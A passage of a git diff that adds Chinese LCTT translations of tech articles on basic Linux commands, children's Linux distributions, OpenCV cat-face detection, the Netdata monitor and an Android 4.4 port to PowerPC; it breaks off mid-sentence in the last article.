Remember.md b/published/201607/20160616 10 Basic Linux Commands That Every Linux Newbies Should Remember.md new file mode 100644 index 0000000000..50ec85acaa --- /dev/null +++ b/published/201607/20160616 10 Basic Linux Commands That Every Linux Newbies Should Remember.md @@ -0,0 +1,141 @@ +Linux 新手必知必会的 10 条 Linux 基本命令 +===================================================================== + +![](http://www.linuxandubuntu.com/uploads/2/1/1/5/21152474/4225072_orig.png) + + +Linux 对我们的生活产生了巨大的冲击。至少你的安卓手机使用的就是 Linux 核心。尽管如此,在第一次开始使用 Linux 时你还是会感到难以下手。因为在 Linux 中,通常需要使用终端命令来取代 Windows 系统中的点击启动图标操作。但是不必担心,这里我们会介绍 10 个 Linux 基本命令来帮助你开启 Linux 神秘之旅。 + + +### 帮助新手走出第一步的 10 个 Linux 基本命令 + +当我们谈论 Linux 命令时,实质上是在谈论 Linux 系统本身。这短短的 10 个 Linux 基本命令不会让你变成天才或者 Linux 专家,但是能帮助你轻松开始 Linux 之旅。使用这些基本命令会帮助新手们完成 Linux 的日常任务,由于它们的使用频率如此至高,所以我更乐意称他们为 Linux 命令之王! + +让我们开始学习这 10 条 Linux 基本命令吧。 + + +#### 1. sudo + +这条命令的意思是“以超级用户的身份执行”,是 SuperUserDo 的简写,它是新手将要用到的最重要的一条 Linux 命令。当一条单行命令需要 root 权限的时候,`sudo`命令就派上用场了。你可以在每一条需要 root 权限的命令前都加上`sudo`。 + +``` +$ sudo su +``` + + +#### 2. ls (list) + + +跟其他人一样,你肯定也经常想看看目录下都有些什么东西。使用列表命令,终端会把当前工作目录下所有的文件以及文件夹展示给你。比如说,我当前处在 /home 文件夹中,我想看看 /home 文件夹中都有哪些文件和目录。 + +``` +/home$ ls +``` + + +在 /home 中执行`ls`命令将会返回类似下面的内容: + +``` +imad lost+found +``` + + +#### 3. cd + +变更目录命令(cd)是终端中总会被用到的主要命令。它是最常用到的 Linux 基本命令之一。此命令使用非常简单,当你打算从当前目录跳转至某个文件夹时,只需要将文件夹键入此命令之后即可。如果你想跳转至上层目录,只需要在此命令之后键入两个点 (..) 就可以了。 +​ +举个例子,我现在处在 /home 目录中,我想移动到 /home 目录中的 usr 文件夹下,可以通过以下命令来完成操作。 + +``` +/home $ cd usr + +/home/usr $ +``` + + +#### 4. mkdir + +只是可以切换目录还是不够完美。有时候你会想要新建一个文件夹或子文件夹。此时可以使用 mkdir 命令来完成操作。使用方法很简单,只需要把新的文件夹名跟在 mkdir 命令之后就好了。 + +``` +~$ mkdir folderName +``` + + +#### 5. cp + +拷贝-粘贴(copy-and-paste)是我们组织文件需要用到的重要命令。使用 `cp` 命令可以帮助你在终端当中完成拷贝-粘贴操作。首先确定你想要拷贝的文件,然后键入打算粘贴此文件的目标位置。 + +``` +$ cp src des +``` + +注意:如果目标目录对新建文件需要 root 权限时,你可以使用 `sudo` 命令来完成文件拷贝操作。 + + +#### 6. rm + +rm 命令可以帮助你移除文件甚至目录。如果不希望每删除一个文件都提示确认一次,可以用`-f`参数来强制执行。也可以使用 `-r` 参数来递归的移除文件夹。 + +``` +$ rm myfile.txt +``` + + +#### 7. apt-get + +这个命令会依据发行版的不同而有所区别。在基于 Debian 的发行版中,我们拥有 Advanced Packaging Tool(APT)包管理工具来安装、移除和升级包。apt-get 命令会帮助你安装需要在 Linux 系统中运行的软件。它是一个功能强大的命令行,可以用来帮助你对软件执行安装、升级和移除操作。 + +在其他发行版中,例如 Fedora、Centos,都各自不同的包管理工具。Fedora 之前使用的是 yum,不过现在 dnf 成了它默认的包管理工具。 + +``` +$ sudo apt-get update + +$ sudo dnf update +``` + + +#### 8. grep + +当你需要查找一个文件,但是又忘记了它具体的位置和路径时,`grep` 命令会帮助你解决这个难题。你可以提供文件的关键字,使用`grep`命令来查找到它。 + +``` +$ grep user /etc/passwd +``` + + +#### 9. cat + +作为一个用户,你应该会经常需要浏览脚本内的文本或者代码。`cat`命令是 Linux 系统的基本命令之一,它的用途就是将文件的内容展示给你。 + +``` +$ cat CMakeLists.txt +``` + + +#### 10. poweroff + +最后一个命令是 `poweroff`。有时你需要直接在终端中执行关机操作。此命令可以完成这个任务。由于关机操作需要 root 权限,所以别忘了在此命令之前添加`sudo`。 + +``` +$ sudo poweroff +``` + + +### 总结 + +如我在文章开始所言,这 10 条命令并不会让你立即成为一个 Linux 大拿,但它们会让你在初期快速上手 Linux。以这些命令为基础,给自己设置一个目标,每天学习一到三条命令,这就是此文的目的所在。在下方评论区分享有趣并且有用的命令。别忘了跟你的朋友分享此文。 + + +-------------------------------------------------------------------------------- + +via: http://www.linuxandubuntu.com/home/10-basic-linux-commands-that-every-linux-newbies-should-remember + +作者:[Commenti][a] +译者:[mr-ping](https://github.com/mr-ping) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.linuxandubuntu.com/home/10-basic-linux-commands-that-every-linux-newbies-should-remember#comments +[1]: http://linuxandubuntu.com/home/category/linux diff --git a/published/201607/20160616 6 Amazing Linux Distributions For Kids.md b/published/201607/20160616 6 Amazing Linux Distributions For Kids.md new file mode 100644 index 0000000000..79f3aff154 --- /dev/null +++ b/published/201607/20160616 6 Amazing Linux Distributions For Kids.md @@ -0,0 +1,113 @@ +惊艳!6款面向儿童的 Linux 发行版 +====================================== + +毫无疑问未来是属于 Linux 和开源的。为了实现这样的未来、使 Linux 占据一席之地,人们已经着手开发尽可能简单的、面向儿童的 Linux 发行版,并尝试教导他们如何使用 Linux 操作系统。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Linux-Distros-For-Kids.png) +>面向儿童的 Linux 发行版 + +Linux 是一款非常强大的操作系统,原因之一便是它支撑了互联网上绝大多数的服务器。但出于对其用户友好性的担忧,坊间时常展开有关于 Linux 应如何取代 Mac OS X 或 Windows 的争论。而我认为用户应该接受 Linux 来见识它真正的威力。 + +如今,Linux 运行在绝大多数设备上,从智能手机到平板电脑,笔记本电脑,工作站,服务器,超级计算机,再到汽车,航空管制系统,电冰箱,到处都有 Linux 的身影。正如我在开篇所说,有了这一切, Linux 是未来的操作系统。 + +>参考阅读: [30 Big Companies and Devices Running on Linux][1] + +未来是属于孩子们的,教育要从娃娃抓起。所以,要让小孩子尽早地学习计算机,而 Linux 就是其中一个重要的部分。 + +对小孩来说,一个常见的现象是,当他们在一个适合他的环境中学习时,好奇心和早期学习的能力会使他自己养成喜好探索的性格。 + +说了这么多儿童应该学习 Linux 的原因,接下来我就列出这些令人激动的发行版。你可以把它们推荐给小孩子来帮助他们开始学习使用 Linux 。 + +### Sugar on a Stick + +Sugar on a Stick (译注:“糖棒”)是 Sugar 实验室旗下的工程,Sugar 实验室是一个由志愿者领导的非盈利组织。这一发行版旨在设计大量的免费工具来促进儿童在探索中学会技能,发现、创造,并将这些反映到自己的思想上。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Sugar-Neighborhood-View.png) +>Sugar Neighborhood 界面 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Sugar-Activity-Library.png) +>Sugar 应用程序 + +你既可以将 Sugar 看作是普通的桌面环境,也可以把它当做是帮助鼓励孩子学习、提高参与活动的积极性的一款应用合集。 + +访问主页: + +### Edubuntu + +Edubuntu 是基于当下最流行的发行版 Ubuntu 而开发的一款非官方发行版。主要致力于降低学校、家庭和社区安装、使用 Ubuntu 自由软件的难度。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Edubuntu-Apps.jpg) +>Edubuntu 桌面应用 + +它是由来自不同组织的学生、教师、家长、一些利益相关者甚至黑客支持的,这些人都坚信自由的学习和共享知识能够提高自己和社区的发展。 + +该项目的主要目标是通过组建一款能够降低安装、管理软件难度的操作系统来增强学习和教育水平。 + +访问主页: + +### Doudou Linux + +Doudou Linux 是专为方便孩子们在建设创新思维时使用计算机而设计的发行版。它提供了简单但是颇具教育意义的应用来使儿童在应用过程中学习发现新的知识。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Doudou-Linux.png) +>Doudou Linux + +其最引人注目的一点便是内容过滤功能,顾名思义,它能够阻止孩童访问网络上的限制性内容。如果想要更进一步的儿童保护功能,Doudou Linux 还提供了互联网用户隐私功能,能够去除网页中的特定加载内容。 + +访问主页: + +### LinuxKidX + +这是一款整合了许多专为儿童设计的教育软件的基于 Slackware Linux 发行版的 LiveCD。它使用 KDE 作为默认桌面环境并配置了诸如 Ktouch 打字指导,Kstars 虚拟天文台,Kalzium 元素周期表和 KwordQuiz 单词测试等应用。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/LinuxKidX.jpg) +>LinuxKidX + +访问主页: + +### Ubermix + +Ubermix 基于 Ubuntu 构建,同样以教学为目的。默认配备了超过60款应用,帮助学生更好地学习,同时给教师教学提供便利。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/ubermix.png) +>Ubermix Linux + +Ubermix 还具有5分钟快速安装和快速恢复等功能,可以给小孩子更好的帮助。 + +访问主页: + +### Qimo + +因为很多读者曾向我询问过 Qimo 发行版的情况,所以我把它写进这篇文章。但是截止发稿时,Qimo 儿童版的开发已经终止,不再提供更新。 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Qimo-Linux.png) +>Qimo Linux + +你仍然可以在 Ubuntu 或者其他的 Linux 发行版中找到大多数儿童游戏。正如这些开发商所说,他们并不是要终止为孩子们开发教育软件,而是在开发能够提高儿童读写能力的 android 应用。 + +如果你想进一步了解,可以移步他们的官方网站。 + +访问主页: + +以上这些便是我所知道的面向儿童的Linux发行版,或有缺漏,欢迎评论补充。 + +如果你想让我们知道你对如何想儿童介绍 Linux 或者你对未来的 Linux ,特别是桌面计算机上的 Linux,欢迎与我联系。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/best-linux-distributions-for-kids/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+tecmint+%28Tecmint%3A+Linux+Howto%27s+Guide%29 + + +作者:[Aaron Kili][a] +译者:[HaohongWANG](https://github.com/HaohongWANG) +校对:[Ezio](https://github.com/oska874) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/aaronkili/ +[1]: http://www.tecmint.com/big-companies-and-devices-running-on-gnulinux/ + + + + + diff --git a/published/201607/20160620 Detecting cats in images with OpenCV.md b/published/201607/20160620 Detecting cats in images with OpenCV.md new file mode 100644 index 0000000000..55b80cc51e --- /dev/null +++ b/published/201607/20160620 Detecting cats in images with OpenCV.md @@ -0,0 +1,227 @@ +使用 OpenCV 识别图片中的猫咪 +======================================= + +![](http://www.pyimagesearch.com/wp-content/uploads/2016/05/cat_face_detector_result_04.jpg) + +你知道 OpenCV 可以识别在图片中小猫的脸吗?而且是拿来就能用,不需要其它的库之类的。 + +之前我也不知道。 + +但是在 [Kendrick Tan 曝出这个功能][1]后,我需要亲自体验一下……去看看到 OpenCV 是如何在我没有察觉到的情况下,将这一个功能添加进了他的软件库(就像一只悄悄溜进空盒子的猫咪一样,等待别人发觉)。 + +下面,我将会展示如何使用 OpenCV 的猫咪检测器在图片中识别小猫的脸。同样的,该技术也可以用在视频流中。 + +### 使用 OpenCV 在图片中检测猫咪 + +如果你查找过 [OpenCV 的代码仓库][3],尤其是在 [haarcascades 目录][4]里(OpenCV 在这里保存处理它预先训练好的 Haar 分类器,以检测各种物体、身体部位等), 你会看到这两个文件: + +- haarcascade_frontalcatface.xml +- haarcascade\_frontalcatface\_extended.xml + +这两个 Haar Cascade 文件都将被用来在图片中检测小猫的脸。实际上,我使用了相同的 cascades 分类器来生成这篇博文顶端的图片。 + +在做了一些调查工作之后,我发现这些 cascades 分类器是由鼎鼎大名的 [Joseph Howse][5]训练和贡献给 OpenCV 仓库的,他写了很多很棒的教程和书籍,在计算机视觉领域有着很高的声望。 + +下面,我将会展示给你如何使用 Howse 的 Haar cascades 分类器来检测图片中的小猫。 + +### 猫咪检测代码 + +让我们开始使用 OpenCV 来检测图片中的猫咪。新建一个叫 cat_detector.py 的文件,并且输入如下的代码: + +``` +# import the necessary packages +import argparse +import cv2 + +# construct the argument parse and parse the arguments +ap = argparse.ArgumentParser() +ap.add_argument("-i", "--image", required=True, + help="path to the input image") +ap.add_argument("-c", "--cascade", + default="haarcascade_frontalcatface.xml", + help="path to cat detector haar cascade") +args = vars(ap.parse_args()) +``` + +第 2 和第 3 行主要是导入了必要的 python 包。6-12 行用于解析我们的命令行参数。我们仅要求一个必需的参数 `--image` ,它是我们要使用 OpenCV 检测猫咪的图片。 + +我们也可以(可选的)通过 `--cascade` 参数指定我们的 Haar cascade 分类器的路径。默认使用 `haarcascades_frontalcatface.xml`,假定这个文件和你的 `cat_detector.py` 在同一目录下。 + +注意:我已经打包了猫咪的检测代码,还有在这个教程里的样本图片。你可以在博文原文的 “下载” 部分下载到。如果你是刚刚接触 Python+OpenCV(或者 Haar cascade),我建议你下载这个 zip 压缩包,这个会方便你跟着教程学习。 + +接下来,就是检测猫的时刻了: + +``` +# load the input image and convert it to grayscale +image = cv2.imread(args["image"]) +gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) + +# load the cat detector Haar cascade, then detect cat faces +# in the input image +detector = cv2.CascadeClassifier(args["cascade"]) +rects = detector.detectMultiScale(gray, scaleFactor=1.3, + minNeighbors=10, minSize=(75, 75)) +``` + +在 15、16 行,我们从硬盘上读取了图片,并且进行灰度化(这是一个在将图片传给 Haar cascade 分类器之前的常用的图片预处理步骤,尽管不是必须的) + +20 行,从硬盘加载 Haar casacade 分类器,即猫咪检测器,并且实例化 `cv2.CascadeClassifier` 对象。 + +在 21、22 行通过调用 `detector` 的 `detectMultiScale` 方法使用 OpenCV 完成猫脸检测。我们给 `detectMultiScale` 方法传递了四个参数。包括: + +1. 图片 `gray`,我们要在该图片中检测猫脸。 +2. 检测猫脸时的[图片金字塔][6] 的检测粒度 `scaleFactor` 。更大的粒度将会加快检测的速度,但是会对检测准确性( true-positive)产生影响。相反的,一个更小的粒度将会影响检测的时间,但是会增加准确性( true-positive)。但是,细粒度也会增加误报率(false-positive)。你可以看这篇博文的“ Haar cascades 注意事项”部分来获得更多的信息。 +3. `minNeighbors` 参数控制了检定框的最少数量,即在给定区域内被判断为猫脸的最少数量。这个参数可以很好的排除误报(false-positive)结果。 +4. 最后,`minSize` 参数不言自明。这个值描述每个检定框的最小宽高尺寸(单位是像素),这个例子中就是 75\*75 + +`detectMultiScale` 函数会返回 `rects`,这是一个 4 元组列表。这些元组包含了每个检测到的猫脸的 (x,y) 坐标值,还有宽度、高度。 + +最后,让我们在图片上画下这些矩形来标识猫脸: + +``` +# loop over the cat faces and draw a rectangle surrounding each +for (i, (x, y, w, h)) in enumerate(rects): + cv2.rectangle(image, (x, y), (x + w, y + h), (0, 0, 255), 2) + cv2.putText(image, "Cat #{}".format(i + 1), (x, y - 10), + cv2.FONT_HERSHEY_SIMPLEX, 0.55, (0, 0, 255), 2) + +# show the detected cat faces +cv2.imshow("Cat Faces", image) +cv2.waitKey(0) +``` + +给我们这些框(比如,rects)的数据,我们在 25 行依次遍历它。 + +在 26 行,我们在每张猫脸的周围画上一个矩形。27、28 行展示了一个整数,即图片中猫咪的数量。 + +最后,31,32 行在屏幕上展示了输出的图片。 + +### 猫咪检测结果 + +为了测试我们的 OpenCV 猫咪检测器,可以在原文的最后,下载教程的源码。 + +然后,在你解压缩之后,你将会得到如下的三个文件/目录: + +1. cat_detector.py:我们的主程序 +2. haarcascade_frontalcatface.xml: 猫咪检测器 Haar cascade +3. images:我们将会使用的检测图片目录。 + +到这一步,执行以下的命令: + +``` +$ python cat_detector.py --image images/cat_01.jpg +``` + +![](http://www.pyimagesearch.com/wp-content/uploads/2016/05/cat_face_detector_result_01.jpg) + +*图 1. 在图片中检测猫脸,甚至是猫咪部分被遮挡了。* + +注意,我们已经可以检测猫脸了,即使它的其余部分是被遮挡的。 + +试下另外的一张图片: + +``` +python cat_detector.py --image images/cat_02.jpg +``` + +![](http://www.pyimagesearch.com/wp-content/uploads/2016/05/cat_face_detector_result_02.jpg) + +*图 2. 使用 OpenCV 检测猫脸的第二个例子,这次猫脸稍有不同。* + +这次的猫脸和第一次的明显不同,因为它正在发出“喵呜”叫声的当中。这种情况下,我们依旧能检测到正确的猫脸。 + +在下面这张图片的结果也是正确的: + +``` +$ python cat_detector.py --image images/cat_03.jpg +``` + +![](http://www.pyimagesearch.com/wp-content/uploads/2016/05/cat_face_detector_result_03.jpg) + +*图 3. 使用 OpenCV 和 python 检测猫脸* + +我们最后的一个样例就是在一张图中检测多张猫脸: + +``` +$ python cat_detector.py --image images/cat_04.jpg +``` + +![](http://www.pyimagesearch.com/wp-content/uploads/2016/05/cat_face_detector_result_04.jpg) + +*图 4. 在同一张图片中使用 OpenCV 检测多只猫* + +注意,Haar cascade 返回的检定框不一定是以你预期的顺序。这种情况下,中间的那只猫会被标记成第三只。你可以通过判断他们的 (x, y) 坐标来自己排序这些检定框。 + +#### 关于精度的说明 + +在这个 xml 文件中的注释非常重要,Joseph Hower 提到了这个猫脸检测器有可能会将人脸识别成猫脸。 + +这种情况下,他推荐使用两种检测器(人脸 & 猫脸),然后将出现在人脸识别结果中的结果剔除掉。 + +#### Haar cascades 注意事项 + +这个方法首先出现在 Paul Viola 和 Michael Jones 2001 年出版的 [Rapid Object Detection using a Boosted Cascade of Simple Features][7] 论文中。现在它已经成为了计算机识别领域引用最多的论文之一。 + +这个算法能够识别图片中的对象,无论它们的位置和比例。而且最令人感兴趣的或许是它能在现有的硬件条件下实现实时检测。 + +在他们的论文中,Viola 和 Jones 关注在训练人脸检测器;但是,这个框架也能用来检测各类事物,如汽车、香蕉、路标等等。 + +#### 问题是? + +Haar cascades 最大的问题就是如何确定 `detectMultiScale` 方法的参数正确。特别是 `scaleFactor` 和 `minNeighbors` 参数。你很容易陷入一张一张图片调参数的坑,这个就是该对象检测器很难被实用化的原因。 + +这个 `scaleFactor` 变量控制了用来检测对象的图片的各种比例的[图像金字塔][8]。如果 `scaleFactor` 参数过大,你就只需要检测图像金字塔中较少的层,这可能会导致你丢失一些在图像金字塔层之间缩放时少了的对象。 + +换句话说,如果 `scaleFactor` 参数过低,你会检测过多的金字塔图层。这虽然可以能帮助你检测到更多的对象。但是他会造成计算速度的降低,还会**明显**提高误报率。Haar cascades 分类器就是这样。 + +为了避免这个,我们通常使用 [Histogram of Oriented Gradients + 线性 SVM 检测][9] 替代。 + +上述的 HOG + 线性 SVM 框架的参数更容易调优。而且更好的误报率也更低,但是唯一不好的地方是无法实时运算。 + +### 对对象识别感兴趣?并且希望了解更多? + +![](http://www.pyimagesearch.com/wp-content/uploads/2016/05/custom_object_detector_example.jpg) + +*图 5. 在 PyImageSearch Gurus 课程中学习如何构建自定义的对象识别器。* + +如果你对学习如何训练自己的自定义对象识别器感兴趣,请务必要去了解下 PyImageSearch Gurus 课程。 + +在这个课程中,我提供了 15 节课,覆盖了超过 168 页的教程,来教你如何从 0 开始构建自定义的对象识别器。你会掌握如何应用 HOG + 线性 SVM 框架来构建自己的对象识别器来识别路标、面孔、汽车(以及附近的其它东西)。 + +要学习 PyImageSearch Gurus 课程(有 10 节示例免费课程),点此:https://www.pyimagesearch.com/pyimagesearch-gurus/?src=post-cat-detection + +### 总结 + +在这篇博文里,我们学习了如何使用 OpenCV 默认就有的 Haar cascades 分类器来识别图片中的猫脸。这些 Haar casacades 是由 [Joseph Howse][9] 训练兵贡献给 OpenCV 项目的。我是在 Kendrick Tan 的[这篇文章][10]中开始注意到这个。 + +尽管 Haar cascades 相当有用,但是我们也经常用 HOG + 线性 SVM 替代。因为后者相对而言更容易使用,并且可以有效地降低误报率。 + +我也会[在 PyImageSearch Gurus 课程中][11]详细的讲述如何构建定制的 HOG + 线性 SVM 对象识别器,来识别包括汽车、路标在内的各种事物。 + +不管怎样,我希望你喜欢这篇博文。 + +-------------------------------------------------------------------------------- + +via: http://www.pyimagesearch.com/2016/06/20/detecting-cats-in-images-with-opencv/ + +作者:[Adrian Rosebrock][a] +译者:[MikeCoder](https://github.com/MikeCoder) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.pyimagesearch.com/author/adrian/ +[1]: http://kendricktan.github.io/find-cats-in-photos-using-computer-vision.html +[2]: http://www.pyimagesearch.com/2016/06/20/detecting-cats-in-images-with-opencv/# +[3]: https://github.com/Itseez/opencv +[4]: https://github.com/Itseez/opencv/tree/master/data/haarcascades +[5]: http://nummist.com/ +[6]: http://www.pyimagesearch.com/2015/03/16/image-pyramids-with-python-and-opencv/ +[7]: https://www.cs.cmu.edu/~efros/courses/LBMV07/Papers/viola-cvpr-01.pdf +[8]: http://www.pyimagesearch.com/2015/03/16/image-pyramids-with-python-and-opencv/ +[9]: http://www.pyimagesearch.com/2014/11/10/histogram-oriented-gradients-object-detection/ +[10]: http://kendricktan.github.io/find-cats-in-photos-using-computer-vision.html +[11]: https://www.pyimagesearch.com/pyimagesearch-gurus/ + + + diff --git a/published/201607/20160620 Monitor Linux With Netdata.md b/published/201607/20160620 Monitor Linux With Netdata.md new file mode 100644 index 0000000000..989abf0d66 --- /dev/null +++ b/published/201607/20160620 Monitor Linux With Netdata.md @@ -0,0 +1,118 @@ +用 Netdata 监控 Linux +======= + +![](https://cdn.fedoramagazine.org/wp-content/uploads/2016/06/netdata-945x400.png) + +Netdata 是一个实时的资源监控工具,它拥有基于 web 的友好界面,由 [FireHQL][1] 开发和维护。通过这个工具,你可以通过图表来了解 CPU,RAM,硬盘,网络,Apache, Postfix 等软硬件的资源使用情况。它很像 Nagios 等别的监控软件;但是,Netdata 仅仅支持通过 Web 界面进行实时监控。 + +### 了解 Netdata + +目前 Netdata 还没有验证机制,如果你担心别人能从你的电脑上获取相关信息的话,你应该设置防火墙规则来限制访问。UI 很简单,所以任何人看懂图形并理解他们看到的结果,至少你会对它的快速安装印象深刻。 + +它的 web 前端响应很快,而且不需要 Flash 插件。 UI 很整洁,保持着 Netdata 应有的特性。第一眼看上去,你能够看到很多图表,幸运的是绝大多数常用的图表数据(像 CPU,RAM,网络和硬盘)都在顶部。如果你想深入了解图形化数据,你只需要下滑滚动条,或者点击在右边菜单的项目。通过每个图表的右下方的按钮, Netdata 还能让你控制图表的显示,重置,缩放。 + +![](https://fedoramagazine.org/wp-content/uploads/2016/06/Capture-1.png) + +*Netdata 图表控制* + +Netdata 并不会占用多少系统资源,它占用的内存不会超过 40MB。因为这个软件是作者用 C 语言写的。 + +![](https://fedoramagazine.org/wp-content/uploads/2016/06/Capture.png) + +*Netdata 显示的内存使用情况* + +### 下载 Netdata + +要下载这个软件,你可以访问 [Netdata 的 GitHub 页面][2],然后点击页面左边绿色的 "Clone or download" 按钮 。你应该能看到以下两个选项: + +#### 通过 ZIP 文件下载 + +一种方法是下载 ZIP 文件。它包含仓库里的所有东西。但是如果仓库更新了,你需要重新下载 ZIP 文件。下载完 ZIP 文件后,你要用 `unzip` 命令行工具来解压文件。运行下面的命令能把 ZIP 文件的内容解压到 `netdata` 文件夹。 + +``` +$ cd ~/Downloads +$ unzip netdata-master.zip +``` + +![](https://fedoramagazine.org/wp-content/uploads/2016/06/Capture-2.png) + +*解压 Netdata* + +没必要在 unzip 命令后加上 `-d` 选项,因为文件都是是放在 ZIP 文件的根文件夹里面。如果没有那个文件夹, unzip 会把所有东西都解压到当前目录下面(这会让文件非常混乱)。 + +#### 通过 Git 下载 + +还有一种方式是通过 git 下载整个仓库。当然,你的系统需要安装 git。Git 在 Fedora 系统是默认安装的。如果没有安装,你可以用下面的命令在命令行里安装 git。 + +``` +$ sudo dnf install git +``` + +安装好 git 后,你要把仓库 “clone” 到你的系统里。运行下面的命令。 + +``` +$ git clone https://github.com/firehol/netdata.git +``` + +这个命令会在当前工作目录克隆(或者说复制一份)仓库。 + +### 安装 Netdata + +有些软件包是你成功构造 Netdata 时候需要的。 还好,一行命令就可以安装你所需要的东西([这写在它的安装文档中][3])。在命令行运行下面的命令就能满足安装 Netdata 需要的所有依赖关系。 + +``` +$ dnf install zlib-devel libuuid-devel libmnl-devel gcc make git autoconf autogen automake pkgconfig +``` + +当所有需要的软件包都安装好了,你就 cd 到 netdata/ 目录,运行 netdata-installer.sh 脚本。 + +``` +$ sudo ./netdata-installer.sh +``` + +然后就会提示你按回车键,开始安装程序。如果要继续的话,就按下回车吧。 + +![](https://cdn.fedoramagazine.org/wp-content/uploads/2016/06/Capture-3-600x341.png) + +*Netdata 的安装* + +如果一切顺利,你的系统上就已经安装并且运行了 Netdata。安装脚本还会在相应的文件夹里添加一个卸载脚本,叫做 `netdata-uninstaller.sh`。如果你以后不想使用 Netdata,运行这个脚本可以从你的系统里面卸载掉 Netdata。 + +你可以通过 systemctl 查看它的运行状态。 + +``` +$ sudo systemctl status netdata +``` + +### 使用 Netdata + +既然我们已经安装并且运行了 Netdata,你就能够通过 19999 端口来访问 web 界面。下面的截图是我在一个测试机器上运行的 Netdata。 + +![](https://cdn.fedoramagazine.org/wp-content/uploads/2016/06/Capture-4-768x458.png) + +*关于 Netdata 运行时的概览* + +恭喜!你已经成功安装并且能够看到漂亮的外观和图形,以及你的机器性能的高级统计数据。无论是否是你个人的机器,你都可以向你的朋友们炫耀,因为你能够深入的了解你的服务器性能,Netdata 在任何机器上的性能报告都非常出色。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/monitor-linux-netdata/ + +作者:[Martino Jones][a] +译者:[GitFuture](https://github.com/GitFuture) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/monitor-linux-netdata/ +[1]: https://firehol.org/ +[2]: https://github.com/firehol/netdata +[3]: https://github.com/firehol/netdata/wiki/Installation + + + + + + + + diff --git a/published/201607/20160620 PowerPC gains an Android 4.4 port with Big Endian support.md b/published/201607/20160620 PowerPC gains an Android 4.4 port with Big Endian support.md new file mode 100644 index 0000000000..7ad127370b --- /dev/null +++ b/published/201607/20160620 PowerPC gains an Android 4.4 port with Big Endian support.md @@ -0,0 +1,106 @@ +Android 4.4 移植到了 PowerPC 架构,支持大端架构 +=========================================================== + +eInfochips(一家软件厂商) 已将将 Android 4.4 系统移植到 PowerPC 架构,它将用于一家航空电子客户用来监视引擎的健康状况的人机界面(HMI:Human Machine Interface)。 + +eInfochips 已经开发了第一个面向 PowerPC 架构的 CPU 的 Android 移植版本,并支持大端(Big Endian)架构。此移植基于 Android 开源项目 [Android Open Source Project (AOSP)] 中 Android 4.4 (KitKat) 的代码,其功能内核的版本号为 3.12.19。 + +Android 开始兴起的时候,PowerPC 正在快速丢失和 ARM 架构共同角逐的市场。高端的网络客户和其它的企业级的嵌入式工具大多运行在诸如飞思卡尔(Freescale)的 PowerQUICC 和 QorIQ 这样的 PowerPC 处理器上,但是并不是 Linux 系统。不过,有几个 Android 的移植计划。在 2009 年,飞思卡尔和 Embedded Alley(一家软件厂商,当前是 Mentor Graphics 的 Linux 团队的一部分)[宣布了针对 PowerQUICC 和 QorIQ 芯片的移植版本][15],当前由 NXP 公司构建。另一个名为 [Android-PowerPC][16] 的项目也作出了相似的工作。 + +这些努力来的都并不容易,然而,当航空公司找到 eInfochips,希望能够为他们那些基于 PowerPC 的引擎监控系统添加 Android 应用程序以改善人机界面。该公司找出了这些早期的移植版本,然而,它们都相距甚远。所以,他们不得不从头开始新的移植。 + +最主要的问题是这些移植的 Android 版本实在是太老了,和现在的 Android 差别太大了。Embedded Alley 移植的版本为 Android 1.5 (Cupcake),它于 2009 年发布,Linux 内核版本为 2.6.28。而 Android-PowerPC 项目最后一版的移植是 Android 2.2 (Froyo),它于 2010 年发布,内核版本为 2.6.32。此外,航空公司还有一些额外的技术诉求,例如对大端架构(Big Endian)的支持,这种老式的内存访问方式仍旧应用于网络通信和电信行业。然而那些早期的移植版本仅能够支持小端(Little Endian)的内存访问。 + +### 来自 eInfochips 的全新 PowerPC 架构移植 + +eInfochips, 它最为出名的应该是那些基于 ARM/骁龙处理器的模块计算机板卡,例如 [Eragon 600][17]。 它已经完成了基于 QorIQ 的 Android 4.4 系统移植,且发布了白皮书介绍了该项目。采用该项目的航空电子设备客户仍旧不愿透露名称,目前仍旧不清楚什么时候会公开此该移植版本。 + +![](http://files.linuxgizmos.com/einfochips_porting_android_on_powerpc.jpg) + +*图片来自 eInfochips 的博客日志* + +全新的 PowerPC Android 项目包括: + +- 基于 PowerPC [e5500][1] 仿生定制 +- 基于 Android KitKat 的大端支持 +- 使用 GCC 5.2 工具链开发 +- Android 4.4 框架的 PowerPC 支持 +- PowerPC e5500 的 Android 内核版本为 3.12.19 + +根据 eInfochips 的销售经理 Sooryanarayanan Balasubramanian 描述,该航空电子客户想要使用 Android 主要是因为熟悉的界面能够缩减培训的时间,并且让程序更新和增加新程序变得更加容易。他继续解释说:“这次成功的移植了 Android,使得今后的工作仅仅需要在应用层作出修修改改,而不再向以前一样需要在所有层面之间作相互的校验。”,“这是第一次在航空航天工业作出这些尝试,这需要在设计时尽量认真。” + +通过白皮书,可以知道将 Android 移植到 PowerPC 上需要对框架、核心库、开发工具链、运行时链接器、对象链接器和开源编译工具作出大量的修改。在字节码生成阶段,移植团队决定使用便携模式(portable mode)而不是快速解释模式(fast interpreter mode)。这是因为还没有 PowerPC 可用的快速解释模式,而使用开源的 [libffi][18] 的便携模式能够支持 PowerPC。 + +同时,团队还面临着在 Android 运行时 (ART) 环境和 Dalvik 虚拟机 (DVM) 环境之间的选择。他们发现,ART 